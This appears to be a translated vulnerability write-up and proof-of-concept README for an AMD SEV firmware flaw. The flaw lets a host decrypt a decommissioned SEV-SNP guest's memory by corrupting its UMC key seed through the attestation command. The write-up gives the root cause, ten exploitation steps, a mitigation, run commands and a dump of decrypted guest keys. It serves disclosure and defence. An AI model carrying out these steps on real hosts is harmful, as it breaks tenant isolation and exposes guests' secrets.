ثغرة في البرنامج الثابت لـ SEV

يحتوي هذا المستودع على استغلال لثغرة في البرنامج الثابت لـ SEV. يسمح الاستغلال بفك تشفير ذاكرة عشوائية لضيف SEV-SNP بعد إلغاء تكليفه.

تم اختباره على الإصدار 1.55.16 (الأحدث وقت كتابة هذا التقرير).

السبب الجذري

يحتوي البرنامج الثابت لـ SEV على جدول يُسمى master_handler_table يحتوي على مؤشرات دالة لجميع الأوامر مع عدد قليل من الخصائص الإضافية ذات الصلة بالأوامر. اثنتان من تلك الخصائص الإضافية هما cmd_buf_type وsnp_cmd_buf_enforcement. يحدد cmd_buf_type ما إذا كان يجب نسخ المخزن المؤقت للأوامر من وإلى ذاكرة المضيف. يحدد snp_cmd_buf_enforcement ما إذا كانت عمليات النسخ هذه يجب أن تخضع لفحوصات تتحقق من أن الذاكرة الداعمة للمخزن المؤقت للأوامر في حالة FIRMWARE أو DEFAULT. يجب أن تكون جميع الأوامر التي يكون cmd_buf_type فيها إما CMD_BUF_OUTPUT_ONLY أو CMD_BUF_INPUT_AND_OUTPUT أو CMD_BUF_INPUT_AND_OUTPUT_ERROR قد تم تعيين snp_cmd_buf_enforcement لها على true. وإلا فإن إعادة كتابة مخرجات الأمر قد تسبب تلفًا في الذاكرة داخل المنطقة المغطاة بـ RMP. snp_cmd_buf_enforcement يكون true لجميع هذه الأوامر باستثناء واحد - SEV_MCMD_ID_ATTESTATION: هذا الأمر لديه cmd_buf_type مضبوطًا على CMD_BUF_INPUT_AND_OUTPUT_ERROR، ولكن أيضًا لديه snp_cmd_buf_enforcement مضبوطًا على false. ونتيجة لذلك، من الممكن تنفيذ SEV_MCMD_ID_ATTESTATION مع مخزن مؤقت للأوامر يشير إلى ذاكرة مغطاة بـ RMP، وتتلف هذه الذاكرة بمجرد كتابة المخرجات مرة أخرى.

لا أرى لماذا يحتاج SEV_MCMD_ID_ATTESTATION أن يكون استثناءً، يبدو لي معقولاً أن هذا قد يكون خطأ مطبعي/نسخ-لصق.

الاستغلال

يكتب SEV_MCMD_ID_ATTESTATION فقط في حقل واحد length (4 بايت) في المخزن المؤقت للأوامر، وبالتالي فهذه هي البايتات الوحيدة التي يمكننا استخدامها لتلف الذاكرة. يكتب SEV_MCMD_ID_ATTESTATION نفس القيمة دائمًا - 0x000000d0. لحسن الحظ، لا توجد متطلبات محاذاة للمخزن المؤقت للأوامر، وبالتالي يمكننا إزاحة المخزن المؤقت للأوامر بشكل متكرر لتلف نطاق أكبر من الذاكرة المتجاورة. سنستخدم هذا لتلف أول 16 بايت من صفحة سياق الضيف بنمط ثابت. تحتوي أول 16 بايت على بذرة مفتاح UMC، وبالتالي بإجبارها على قيمة ثابتة، يمكننا إجبار مفتاح تشفير الضيف على قيمة ثابتة.

الاستغلال المقدم هنا يعتمد بشكل كبير على الاستغلال الذي قدمته لـ SWPSIRT-2684/CVE-2023-31355.

لاستغلال الثغرة، يمكننا تنفيذ الخطوات التالية:

1. قم بتشغيل ضيف SEV أو SEV-ES. هذا ضروري لـ SEV_MCMD_ID_ATTESTATION. احتفظ بهذا الضيف قيد التشغيل.
2. قم بإنشاء صفحة سياق ضيف على العنوان 0x2000 للضيف الضحية. أي عنوان آخر في المنطقة المغطاة بـ RMP سيفي بالغرض، على الرغم من أن عنوانًا ثابتًا مفيد لتصحيح الأخطاء.
3. استخدم الثغرة لتلف بذرة مفتاح UMC للضيف الضحية.
4. قم بتنشيط صفحة سياق الضيف الضحية وقم بتشغيل الضيف الضحية.
5. قم بإلغاء تكليف الضيف الضحية.
6. قم بإنشاء صفحة سياق ضيف على العنوان 0x2000 للضيف المهاجم. يجب أن يكون هذا نفس العنوان المستخدم في الخطوة 1.
7. استخدم الثغرة لتلف بذرة مفتاح UMC للضيف المهاجم.
8. قم بتنشيط صفحة سياق الضيف المهاجم وقم بتشغيله مع تمكين علامة التصحيح.
9. قم بتعيين ذاكرة الضيف الضحية للضيف المهاجم.
10. استخدم الأمر SNP_DBG_ENCRYPT لفك تشفير ذاكرة الضيف الضحية باستخدام صفحة سياق الضيف المهاجم. سينجح ذلك لأن الضيف الضحية والضيف المهاجم يتشاركان بذرة مفتاح UMC.

التأثير

يجب أن يكون التأثير هنا على الأقل نفس تأثير SWPSIRT-2684. غير واضح لي في هذا الوقت ما إذا كان يمكن استخدام هذا الخلل لفك تشفير ذاكرة ضيف قيد التشغيل قبل إلغاء تكليفه.

التخفيف

يجب تعيين snp_cmd_buf_enforcement إلى true لـ SEV_MCMD_ID_ATTESTATION.

من المثير للاهتمام أن تصحيحات دعم مضيف Linux KVM لا تحتاج إلى تحديثات لأنها تدرج بالفعل SEV_CMD_ATTESTATION_REPORT في sev_cmd_buf_writable كأمر يتطلب أن يكون المخزن المؤقت للأوامر في حالة FIRMWARE. قد تكون هناك حاجة لتغييرات أو لا قد تكون لمشغلات الافتراضية الأخرى.

استخدام الإثبات العملي

1. قم بتغيير المنطقة المغطاة بـ RMP في BIOS إلى 64 جيجابايت (0x10000 صفحة بحجم 1 ميجابايت). إذا لم يدعم نظامك ذلك، فيجب تعديل تصحيحات Linux وفقًا لذلك. تم اختبار الإثبات العملي على نظام بذاكرة 128 جيجابايت.
2. قم بتطبيق التصحيحات الموجودة في مجلد linux-patches على رأس https://github.com/AMDESE/linux/commits/snp-host-v10. قم ببناء وتثبيت وتشغيل النواة.
3. قم بتشغيل ضيف SEV أو SEV-ES واحتفظ به قيد التشغيل.
4. قم بتشغيل ضيف ضحية SEV-SNP.
5. أوقف الضيف الضحية.
6. افحص سجلات النواة للعثور على موقع الصفحة السرية التي تم إنشاؤها أثناء التشغيل.
   root@kitploit:~

   root@server:~# dmesg | grep "kvm_amd: Detected secret page"
   [  463.851449] kvm_amd: Detected secret page at pfn 171a24
   

7. قم بتشغيل الإثبات العملي.
   root@kitploit:~

   root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24 
       Finished dev [unoptimized + debuginfo] target(s) in 0.03s
   Creating VM with identical UMC key seed
   Raw page:
   000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
   020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
   040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
   060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
   080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
   0a0: 0000000000000000000000000000000000000000000000000000000000000000
   0c0: 0000000000000000000000000000000000000000000000000000000000000000
   0e0: 0000000000000000000000000000000000000000000000000000000000000000
   100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
   120: 0000000000000000000000000000000000000000000000000000000000000000
   140: 0000000000000000000000000000000000000000000000000000000000000000
   160: c800000000000000000000000000000000000000000000000000000000000000
   180: 0000000000000000000000000000000000000000000000000000000000000000
   1a0: 0000000000000000000000000000000000000000000000000000000000000000
   1c0: 0000000000000000000000000000000000000000000000000000000000000000
   1e0: 0000000000000000000000000000000000000000000000000000000000000000
   200: 0000000000000000000000000000000000000000000000000000000000000000
   220: 0000000000000000000000000000000000000000000000000000000000000000
   240: 0000000000000000000000000000000000000000000000000000000000000000
   260: 0000000000000000000000000000000000000000000000000000000000000000
   280: 0000000000000000000000000000000000000000000000000000000000000000
   2a0: 0000000000000000000000000000000000000000000000000000000000000000
   2c0: 0000000000000000000000000000000000000000000000000000000000000000
   2e0: 0000000000000000000000000000000000000000000000000000000000000000
   300: 0000000000000000000000000000000000000000000000000000000000000000
   320: 0000000000000000000000000000000000000000000000000000000000000000
   340: 0000000000000000000000000000000000000000000000000000000000000000
   360: 0000000000000000000000000000000000000000000000000000000000000000
   380: 0000000000000000000000000000000000000000000000000000000000000000
   3a0: 0000000000000000000000000000000000000000000000000000000000000000
   3c0: 0000000000000000000000000000000000000000000000000000000000000000
   3e0: 0000000000000000000000000000000000000000000000000000000000000000
   400: 0000000000000000000000000000000000000000000000000000000000000000
   420: 0000000000000000000000000000000000000000000000000000000000000000
   440: 0000000000000000000000000000000000000000000000000000000000000000
   460: 0000000000000000000000000000000000000000000000000000000000000000
   480: 0000000000000000000000000000000000000000000000000000000000000000
   4a0: 0000000000000000000000000000000000000000000000000000000000000000
   4c0: 0000000000000000000000000000000000000000000000000000000000000000
   4e0: 0000000000000000000000000000000000000000000000000000000000000000
   500: 0000000000000000000000000000000000000000000000000000000000000000
   520: 0000000000000000000000000000000000000000000000000000000000000000
   540: 0000000000000000000000000000000000000000000000000000000000000000
   560: 0000000000000000000000000000000000000000000000000000000000000000
   580: 0000000000000000000000000000000000000000000000000000000000000000
   5a0: 0000000000000000000000000000000000000000000000000000000000000000
   5c0: 0000000000000000000000000000000000000000000000000000000000000000
   5e0: 0000000000000000000000000000000000000000000000000000000000000000
   600: 0000000000000000000000000000000000000000000000000000000000000000
   620: 0000000000000000000000000000000000000000000000000000000000000000
   640: 0000000000000000000000000000000000000000000000000000000000000000
   660: 0000000000000000000000000000000000000000000000000000000000000000
   680: 0000000000000000000000000000000000000000000000000000000000000000
   6a0: 0000000000000000000000000000000000000000000000000000000000000000
   6c0: 0000000000000000000000000000000000000000000000000000000000000000
   6e0: 0000000000000000000000000000000000000000000000000000000000000000
   700: 0000000000000000000000000000000000000000000000000000000000000000
   720: 0000000000000000000000000000000000000000000000000000000000000000
   740: 0000000000000000000000000000000000000000000000000000000000000000
   760: 0000000000000000000000000000000000000000000000000000000000000000
   780: 0000000000000000000000000000000000000000000000000000000000000000
   7a0: 0000000000000000000000000000000000000000000000000000000000000000
   7c0: 0000000000000000000000000000000000000000000000000000000000000000
   7e0: 0000000000000000000000000000000000000000000000000000000000000000
   800: 0000000000000000000000000000000000000000000000000000000000000000
   820: 0000000000000000000000000000000000000000000000000000000000000000
   840: 0000000000000000000000000000000000000000000000000000000000000000
   860: 0000000000000000000000000000000000000000000000000000000000000000
   880: 0000000000000000000000000000000000000000000000000000000000000000
   8a0: 0000000000000000000000000000000000000000000000000000000000000000
   8c0: 0000000000000000000000000000000000000000000000000000000000000000
   8e0: 0000000000000000000000000000000000000000000000000000000000000000
   900: 0000000000000000000000000000000000000000000000000000000000000000
   920: 0000000000000000000000000000000000000000000000000000000000000000
   940: 0000000000000000000000000000000000000000000000000000000000000000
   960: 0000000000000000000000000000000000000000000000000000000000000000
   980: 0000000000000000000000000000000000000000000000000000000000000000
   9a0: 0000000000000000000000000000000000000000000000000000000000000000
   9c0: 0000000000000000000000000000000000000000000000000000000000000000
   9e0: 0000000000000000000000000000000000000000000000000000000000000000
   a00: 0000000000000000000000000000000000000000000000000000000000000000
   a20: 0000000000000000000000000000000000000000000000000000000000000000
   a40: 0000000000000000000000000000000000000000000000000000000000000000
   a60: 0000000000000000000000000000000000000000000000000000000000000000
   a80: 0000000000000000000000000000000000000000000000000000000000000000
   aa0: 0000000000000000000000000000000000000000000000000000000000000000
   ac0: 0000000000000000000000000000000000000000000000000000000000000000
   ae0: 0000000000000000000000000000000000000000000000000000000000000000
   b00: 0000000000000000000000000000000000000000000000000000000000000000
   b20: 0000000000000000000000000000000000000000000000000000000000000000
   b40: 0000000000000000000000000000000000000000000000000000000000000000
   b60: 0000000000000000000000000000000000000000000000000000000000000000
   b80: 0000000000000000000000000000000000000000000000000000000000000000
   ba0: 0000000000000000000000000000000000000000000000000000000000000000
   bc0: 0000000000000000000000000000000000000000000000000000000000000000
   be0: 0000000000000000000000000000000000000000000000000000000000000000
   c00: 0000000000000000000000000000000000000000000000000000000000000000
   c20: 0000000000000000000000000000000000000000000000000000000000000000
   c40: 0000000000000000000000000000000000000000000000000000000000000000
   c60: 0000000000000000000000000000000000000000000000000000000000000000
   c80: 0000000000000000000000000000000000000000000000000000000000000000
   ca0: 0000000000000000000000000000000000000000000000000000000000000000
   cc0: 0000000000000000000000000000000000000000000000000000000000000000
   ce0: 0000000000000000000000000000000000000000000000000000000000000000
   d00: 0000000000000000000000000000000000000000000000000000000000000000
   d20: 0000000000000000000000000000000000000000000000000000000000000000
   d40: 0000000000000000000000000000000000000000000000000000000000000000
   d60: 0000000000000000000000000000000000000000000000000000000000000000
   d80: 0000000000000000000000000000000000000000000000000000000000000000
   da0: 0000000000000000000000000000000000000000000000000000000000000000
   dc0: 0000000000000000000000000000000000000000000000000000000000000000
   de0: 0000000000000000000000000000000000000000000000000000000000000000
   e00: 0000000000000000000000000000000000000000000000000000000000000000
   e20: 0000000000000000000000000000000000000000000000000000000000000000
   e40: 0000000000000000000000000000000000000000000000000000000000000000
   e60: 0000000000000000000000000000000000000000000000000000000000000000
   e80: 0000000000000000000000000000000000000000000000000000000000000000
   ea0: 0000000000000000000000000000000000000000000000000000000000000000
   ec0: 0000000000000000000000000000000000000000000000000000000000000000
   ee0: 0000000000000000000000000000000000000000000000000000000000000000
   f00: 0000000000000000000000000000000000000000000000000000000000000000
   f20: 0000000000000000000000000000000000000000000000000000000000000000
   f40: 0000000000000000000000000000000000000000000000000000000000000000
   f60: 0000000000000000000000000000000000000000000000000000000000000000
   f80: 0000000000000000000000000000000000000000000000000000000000000000
   fa0: 0000000000000000000000000000000000000000000000000000000000000000
   fc0: 0000000000000000000000000000000000000000000000000000000000000000
   fe0: 0000000000000000000000000000000000000000000000000000000000000000
   
   Secrets page:
   imi_en: false
   FMS: 00a00f11
   gosvw: 000000000000000000000000a98d95ff
   vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
   vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
   vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
   vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
   VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
   tsc_factor: 200
   

   لاحظ أنه لا يوجد شيء مميز في الصفحات السرية، يمكن استخدام هذا الاستغلال أيضًا لفك تشفير الصفحات العادية. تُستخدم الصفحات السرية في الإثبات العملي لأنها تحتوي على محتوى يمكن التعرف عليه بسهولة مما يسهل رؤية أن فك تشفير ذاكرة الضحية قد نجح.